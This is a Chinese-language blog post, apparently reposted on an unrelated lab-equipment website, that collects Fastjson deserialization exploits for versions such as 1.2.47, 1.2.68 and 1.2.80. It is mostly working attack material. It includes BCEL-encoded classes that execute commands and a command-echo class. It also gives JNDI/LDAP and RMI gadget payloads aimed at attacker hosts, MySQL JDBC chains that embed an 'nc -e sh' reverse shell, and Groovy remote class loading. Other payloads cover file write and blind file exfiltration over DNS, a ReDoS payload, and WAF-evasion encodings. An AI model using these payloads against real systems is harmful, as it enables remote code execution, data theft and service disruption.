FastJsonParty/Fastjson全版本检测及利用

您所在的位置:网站首页 fastjson修复漏洞 FastJsonParty/Fastjson全版本检测及利用

FastJsonParty/Fastjson全版本检测及利用

2024-07-07 01:46:28| 来源: 网络整理| 查看: 265

前言

总结的一些针对FastJson特定版本的Poc利用,所有Poc都已测试全部通过。主要针对FastJson的几大里程碑版本,1.2.47、1.2.68、1.2.80,可能会存在些许偏差,因为同样需考虑到FastJson版本、JDK版本、引入的其他依赖版本、机器是否出网等信息,请根据实际情况做进一步测试和利用。 本篇文章只是复现和罗列了一些能收集到的可利用的链子,后面会深入代码层面分析各个大版本绕过和利用思路(真的太多了),每一次看都会有很深的感悟。FastJson很深,也很适合Java研究。 下次在遇到JSON格式且确定是FastJson框架时千万别一眼略过,或许会有想不到的惊喜!

鉴别FastJson 利用报错

参考:https://blog.csdn.net/m0_71692682/article/details/125814861 不闭合JSON的花括号或者双引号,通过报错可能会将Fastjson爆出来

{"name":"hello", "age":2 {"name"":"hello", "age":2}

image.png

根据解析变化 {"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"} {"ext":"blue","name":{"$ref":"$.ext"}} 查看响应状态 {"@type":"whatever"} Dnslog-出网

DNS能接收到请求则使用FastJson。

{ "@type":"java.net.Inet4Address", "val":"dnslog" } FastJson版本检测

若是白盒或其他能拿到代码的情况下直接看pom.xml中引入的FastJson的依赖或lib目录下的jar包即可。黑盒情况下需要一些手法来检测是否使用FastJson或者FastJson具体版本。后面会写一篇

AutoCloseable精确探测版本号 { "@type": "java.lang.AutoCloseable"

image.png 注意:在FastJson版本大概1.2.76后,即便是通过这种方式探测出精准的FastJson版本,也是1.2.76,即便是使用的1.2.80的依赖,因为在源码中并没有改变。

Dnslog // org.apache.tomcat tomcat-dbcp 8.5.42

生成BCEL形式字符:

Path path = Paths.get("E:/TestRef.class"); byte[] bytes = Files.readAllBytes(path); String result = Utility.encode(bytes,true);//生成becl形式的编码 System.out.println("$$BCEL$$" + result);

TestRef.class:

public class TestRef { public TestRef() throws IOException { Runtime.getRuntime().exec("calc"); } } { { "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$CA$Q$ac$86$85$85uQ$k$e2$fb$RO$82$H$b9x$c3$Y$T$a3$89$c9F$M$Q$3c$_$e3$88C$60$d7$ec$ce$g$7e$cb$8b$g$P$7e$80$le$ecA$82$qNg$a6R$d5$d5$dd3$f3$f5$fd$f1$J$e0$E$fb$O$b2$u$3b$a8$605$87$aa$c15$h$eb66$I$d9S$V$u$7dFH$d7$ea$3d$82u$R$deK$c2$8a$a7$Cy$93$8c$fb2$ea$fa$fd$R$xe$_$U$fe$a8$e7G$ca$f0$99h$e9G$V$T$f2$5eW$c6$ba$z$l$9a$E$e7r$o$e4$93Va$Q$db$d8d$de$J$93H$c8$xe$fc$ee$ccw$3c$f4$9f$7d$X6r6$b6$5clc$87$7bq$7b$e1b$X$7b$E$7b$e6$p$U$8d$b31$f2$83A$a3$d5$lJ$a1$J$95$a9$a4$c2$c6uk$3e$8bP$fa3$b6$93$40$ab1$8fs$GR$cfI$b5V$f7$fey$f8$c2$96$9cHA8$ac$zd$3b$3aR$c1$a0$b9Xp$h$85B$c6q$T$H$c8$f0g$9aE$i$fc$E$a4$90gv$ceH$8c$cbGo$a0w$a4$ca$e9WXw$_$ac$a4$e0$Y$ji$3e$z$8e$M$K$dca$89$99$fb$5b$c1X$98$a2$c9$f3$e7$f3$$N$ebJ$3f$83$94$e8$8d$c2$B$A$A" } }: "x" }

BCEL的另一个好处在于针对不出网的情况下实现命令执行回显或打内存马,所用方式较广。 SpringEcho.java: 命令执行回显

public class SpringEcho { public SpringEcho() { } static { try { Class requestContext = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder"); Method requestAttributes = requestContext.getMethod("getRequestAttributes"); Object var2 = requestAttributes.invoke((Object)null); requestContext = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes"); requestAttributes = requestContext.getMethod("getResponse"); Method var3 = requestContext.getMethod("getRequest"); Object var4 = requestAttributes.invoke(var2); Object var5 = var3.invoke(var2); Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter"); Method header = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class); header.setAccessible(true); getWriter.setAccessible(true); Object writer = getWriter.invoke(var4); String var9 = (String)header.invoke(var5, "cmd"); String[] command = new String[3]; if (System.getProperty("os.name").toUpperCase().contains("WIN")) { command[0] = "cmd"; command[1] = "/c"; } else { command[0] = "/bin/sh"; command[1] = "-c"; } command[2] = var9; writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, (new Scanner(Runtime.getRuntime().exec(command).getInputStream())).useDelimiter("\\A").next()); writer.getClass().getDeclaredMethod("flush").invoke(writer); writer.getClass().getDeclaredMethod("close").invoke(writer); } catch (Exception var11) { } } }

image.png

FastJson org.mybatis mybatis 3.5.5

首先第一次请求使用java.lang.Class将所有利用类加入到mapping中,第二次请求将UnpooledDataSource放到list的第一位,再调用getter实现RCE,最终的利用代码。

String js1 = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," + "{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\"}," + "]"; System.out.println(js1); JSON.parse(js1); js2 = "[" + "{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\", \"driverClassLoader\":{\"$ref\":\"$[1]\"}, \"driver\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeO$cbj$c2P$Q$3dc$d4$a41$f5Y$ad$b8s$d5$d8E$dd$b8S$KAp$rX$w$e8$3a$de$5e$c2$95$98$40$bc$W$7f$cbM$95$$$fa$B$7e$948$B$c1$40g$60$5e$9csf$e6$7c$f9$fd$D0$40$9b$60x$9eg$82$I$d5$b5$ff$ed$f7C$3f$K$fa$b3$d5Z$Km$c2$m$UG$wR$fa$9dqnoA$c8$8f$e3$_$e9$a0$80$a2$8d$3c$yB$ed$ce$fa$dcEZm$a4$J$9b$60$HR$dfzB$d3$edM$ff$c1$86$O$i$3c$da$u$a1$cc$b2$c2$P$85$85$wWr$_$F$e1$c5$cd0$e6$3aQQ0$cc$8a$7c$q$b1$90$db$z$8b$d4$d1HE$9ex$e7$3c$de$rBNT$c8$3b$z$7e$eb$z$c5$a3$8b$i$9f$9a$g$b1$f3$e5$iM$ee$3a$3c$t$ce$e5$d7$p$kN$a8$d4k$3fh$$$P7d$8bc$O$cfW$8d$m$acL$w$B$A$A\"}," + "{\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\",\"\":\"\"}," + "{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"connection\":{}}," + "{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\",\"driver\":{\"$ref\":\"$.connection\"}}" + "]"; System.out.println(js2); JSON.parse(js2);

在Web端就分两步构造,先执行js1添加Class, image.png 再执行js2命令执行。 image.png

C3P0二次反序列化

只要存在C3P0依赖,FastJson com.mchange c3p0 0.9.5.4 commons-collections commons-collections 3.2.1 { "a":{ "@type":"java.lang.Class", "val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b":{ "@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString":"HexAsciiSerializedMap:EVIL_HEX;", } }

生成evil_hex:

public static void main(String[] args) throws Exception { String evil_hex = bytesToHex(tobyteArray(gen())); String FJ1247 = "{\n" + " \"a\":{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" + " },\n" + " \"b\":{\n" + " \"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" + " \"userOverridesAsString\":\"HexAsciiSerializedMap:" + evil_hex + ";\",\n" + " }\n" + "}\n"; System.out.println(FJ1247); JSON.parseObject(FJ1247); } //这里用的cc6,可以随意引用其他反序列化链 public static Object gen() throws NoSuchFieldException, IllegalAccessException { TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")}); setValue(templates, "_name", "1"); setValue(templates, "_tfactory", null); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd,"val",jsonArray); HashMap hashMap = new HashMap(); hashMap.put(templates,bd); return hashMap; } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); // return bao.toByteArray(); } //字节数组转十六进制 public static String bytesToHex(byte[] bytes) { StringBuffer stringBuffer = new StringBuffer(); for (int i = 0; i < bytes.length; i++) { String hex = Integer.toHexString(bytes[i] & 0xff); //bytes[]中为带符号字节-255~+255,&0xff: 保证得到的数据在0~255之间 if (hex.length() commons-configuration commons-configuration 1.10 {"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.30.1.214:1389/msy62c"} FastJson org.apache.commons commons-configuration2 2.8.0 {"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"ldap://10.30.1.214:1389/msy62c"} FastJson org.apache.shiro shiro-core 1.5.2 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.0.107:1389/y0drfh","instance":{"$ref":"$.instance"}} FastJson 1.2.36~1.2.62

存在拒绝服务攻击,无其他条件,可变相用于黑盒版本探测

{"regex":{"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"} {"regex":{"$ref":"$[\blue = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"} FastJson org.aspectj aspectjtools 1.9.5 com.esotericsoftware kryo 4.0.0 com.sleepycat je 5.0.73

buffer处为写入文件的base64编码字符串,position为对应的解码后数据的字节长度,需设置正确,否则报错。若原字符串包含中文字符则一个字符的字节长度为2。

{ "stream": { "@type": "java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath": "e:/ddd.txt", "tempPath": "e:/test.txt" }, "writer": { "@type": "java.lang.AutoCloseable", "@type": "com.esotericsoftware.kryo.io.Output", "buffer": "cXdlcmFzZGY=", "outputStream": { "$ref": "$.stream" }, "position": 8 }, "close": { "@type": "java.lang.AutoCloseable", "@type": "com.sleepycat.bind.serial.SerialOutput", "out": { "$ref": "$.writer" } } } Commons-IO 2.0 - 2.6

JDK8: 1.2.37 commons-io commons-io 2.6

需保证在数据传入时长度必须大于8192(8KB)才会写入到文件,且只会写入前8KB

//commons-io 2.0 - 2.6 版本: String code = "FLAG{THIS_IS_A_flAT_THAT_You_REALLY_waNT!!!}"; int length = code.length(); for (int i = 0; i org.aspectj aspectjtools 1.5.4

虽然可做到读文件,但实际上是文件迁移,将会清空temp文件,写入到target中,所以,慎用!

//temppath存在,targetpath不存在,则将temp文件写入target String poc3 = "{\n" + " \"@type\": \"java.lang.AutoCloseable\",\n" + " \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" + " \"targetPath\": \"./bbbbbbb.txt\",\n" + " \"tempPath\": \"e:/aaa.txt\"\n" + "}"; Commons-IO - 报错

相较于上一种利用更加广泛,引入的依赖更加常见。

commons-io commons-io 2.6

类似于SQL的报错布尔盲注,根据报错信息不同判断文件内容。 后续脚本或burp爆破即可。

//commons-io 报错盲注 String poc2 = "{\n" + " \"abc\": {\n" + "\t\t\t\t\"@type\": \"java.lang.AutoCloseable\",\n" + " \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\n" + " \"delegate\": {\n" + " \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\n" + " \"reader\": {\n" + " \"@type\": \"jdk.nashorn.api.scripting.URLReader\",\n" + " \"url\": \"file:///e:/ccc.txt\"\n" + //待读取的文件内容 " },\n" + " \"charsetName\": \"UTF-8\",\n" + " \"bufferSize\": 1024\n" + " },\n" + " \"boms\": [\n" + " {\n" + " \"charsetName\": \"UTF-8\",\n" + " \"bytes\": [\n" + " 70,76\n" + //文件内容的ascii,例如e:/ccc.txt中前两个字符FL,对应的ascii:70,76 " ]\n" + " }\n" + " ]\n" + " },\n" + " \"address\": {\n" + " \"@type\": \"java.lang.AutoCloseable\",\n" + " \"@type\": \"org.apache.commons.io.input.CharSequenceReader\",\n" + " \"charSequence\": {\n" + " \"@type\": \"java.lang.String\"{\"$ref\":\"$.abc.BOM[0]\"},\n" + " \"start\": 0,\n" + " \"end\": 0\n" + " }\n" + " }\n" + "}"; Commons-IO - DNSLOG

存在commons-io依赖即可,字节正确则发起DNS请求,根据请求读取文件信息。适用于无回显条件。

{ "abc":{"@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///e:/ccc.txt" }, "charsetName": "UTF-8", "bufferSize": 1024 },"boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [70,76] //与上述一致 } ] }, "address": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "http://lemono.s42bkn.dnslog.cn" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "boms": [{"$ref":"$.abc.BOM[0]"}] }, "xxx":{"$ref":"$.address.BOM[0]"} } Mysql-JDBC反序列化 5.1.11-5.1.48

存在mysql-connect依赖可JDBC反序列化rce。 先启动fake_mysql服务端https://github.com/fnmsd/MySQL_Fake_Server,具体使用看JDBC反序列化篇。

mysql mysql-connector-java 5.1.47 // mysql 5.1.11-5.1.48 { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections6_nc 127.0.0.1 9999 -e sh", "password": "12345", "maxAllowedPacket": "655360", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" } 6.0.2-6.0.3 { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString": { "url": "jdbc:mysql://localhost:3306/test?allowLoadLocalInfile=true&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections6_nc 127.0.0.1 9999 -e sh" } } } 8.0.19 { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection", "proxy": { "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy", "connectionUrl": { "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters": [ { "host": "127.0.0.1" } ], "slaves": [], "properties": { "host": "127.0.0.1", "user": "yso_CommonsCollections6_calc", "dbname": "dbname", "password": "pass", "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "allowLoadLocalInfile": "true" } } } } FastJson org.codehaus.groovy groovy 3.0.9

新建GroovyPoc.java,并编译为GroovyPoc.class(在恶意类的创建下有个问题:在idea中创建并编译为class时不要创建在任一自己的package下,这样服务端在加载该类时可能因为没有这个package导致调用失败) 比如这样是不行的,在/src/main/java目录下创建即可 image.png

@GroovyASTTransformation(phase = CompilePhase.CONVERSION) public class GroovyPoc implements ASTTransformation { public GroovyPoc(){ try{ Runtime.getRuntime().exec("calc"); }catch (Exception ex){ } } @Override public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) { }

创建META-INF/services/org.codehaus.groovy.transform.ASTTransformation文件,并写入GroovyPoc image.png image.png python -m http.server 9999 起一个http服务 此Poc仅在真实web环境中可用,因为涉及到两步操作。

//先执行这段JSON指定期望类加入类缓存 { "@type":"java.lang.Exception", "@type":"org.codehaus.groovy.control.CompilationFailedException", "unit":{} } //再执行这段JSON远程类加载恶意类 { "@type":"org.codehaus.groovy.control.ProcessingUnit", "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit", "config":{ "@type":"org.codehaus.groovy.control.CompilerConfiguration", "classpathList":"http://10.30.2.83:9999/" } }

image.png

Aspectj - 读文件

FastJson>=1.2.73 && org.aspectj aspectjtools 1.9.5

此利用方式同上,仅在web端可行,因为需要用到缓存机制,依次发送三段payload。

// poc1-1 { "@type":"java.lang.Exception", "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException" } poc1-2 { "@type":"java.lang.Class", "val":{ "@type":"java.lang.String"{ "@type":"java.util.Locale", "val":{ "@type":"com.alibaba.fastjson.JSONObject", { "@type":"java.lang.String" "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException", "newAnnotationProcessorUnits":[{}] } } } poc1-3 { "@type":"java.lang.Character" { "c":{ "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit", "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit", "fileName":"c:/windows/win.ini" } }

其他链请看su18的总结。

WAF绕过

可看这篇:https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/#%E7%BC%96%E7%A0%81%E7%BB%95%E8%BF%87-Unicode-Hex

FastJson默认会对Unicode和Hex解码 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true} || || \/ {"\x40\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true} _和-绕过

FastJson在解析JSON字段的key时,会将_和-替换为空;在1.2.36之前_和-只能单独使用,在1.2.36及之后,支持_和-混合使用。

{"@type":"com.sun.rowset.JdbcRowSetImpl",'d_a_t_aSourceName':"rmi://127.0.0.1:1099/Exploit", "autoCommit":true} 字符填充

和SQL一样,WAF会放行数据字符过大的数据包

{ "@type":"org.example.User", "username":"1", "f":"a*20000" //2万个a } 膜一下

https://github.com/su18/hack-fastjson-1.2.80 https://github.com/knownsec/KCon/blob/master/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf https://y4er.com/posts/fastjson-1.2.80/ https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg https://b1ue.cn/archives/382.html https://www.freebuf.com/vuls/361576.html https://su18.org/post/fastjson-1.2.68 https://github.com/kezibei/fastjson_payload https://github.com/Whoopsunix/fastjson_study https://www.yulegeyu.com/2022/11/12/Java%E5%AE%89%E5%85%A8%E6%94%BB%E9%98%B2%E4%B9%8B%E8%80%81%E7%89%88%E6%9C%ACFastjson-%E7%9A%84%E4%B8%80%E4%BA%9B%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8/ https://xz.aliyun.com/t/7027#toc-22 https://mp.weixin.qq.com/s/R7Q2CZFZv4DdyysJ6WHc1A



【本文地址】

公司简介

联系我们

今日新闻


点击排行

实验室常用的仪器、试剂和
说到实验室常用到的东西,主要就分为仪器、试剂和耗
不用再找了,全球10大实验
01、赛默飞世尔科技(热电)Thermo Fisher Scientif
三代水柜的量产巅峰T-72坦
作者:寞寒最近,西边闹腾挺大,本来小寞以为忙完这
通风柜跟实验室通风系统有
说到通风柜跟实验室通风,不少人都纠结二者到底是不
集消毒杀菌、烘干收纳为一
厨房是家里细菌较多的地方,潮湿的环境、没有完全密
实验室设备之全钢实验台如
全钢实验台是实验室家具中较为重要的家具之一,很多

推荐新闻


图片新闻

实验室药品柜的特性有哪些
实验室药品柜是实验室家具的重要组成部分之一,主要
小学科学实验中有哪些教学
计算机 计算器 一般 打孔器 打气筒 仪器车 显微镜
实验室各种仪器原理动图讲
1.紫外分光光谱UV分析原理:吸收紫外光能量,引起分
高中化学常见仪器及实验装
1、可加热仪器:2、计量仪器:(1)仪器A的名称:量
微生物操作主要设备和器具
今天盘点一下微生物操作主要设备和器具,别嫌我啰嗦
浅谈通风柜使用基本常识
 众所周知,通风柜功能中最主要的就是排气功能。在

专题文章

    CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭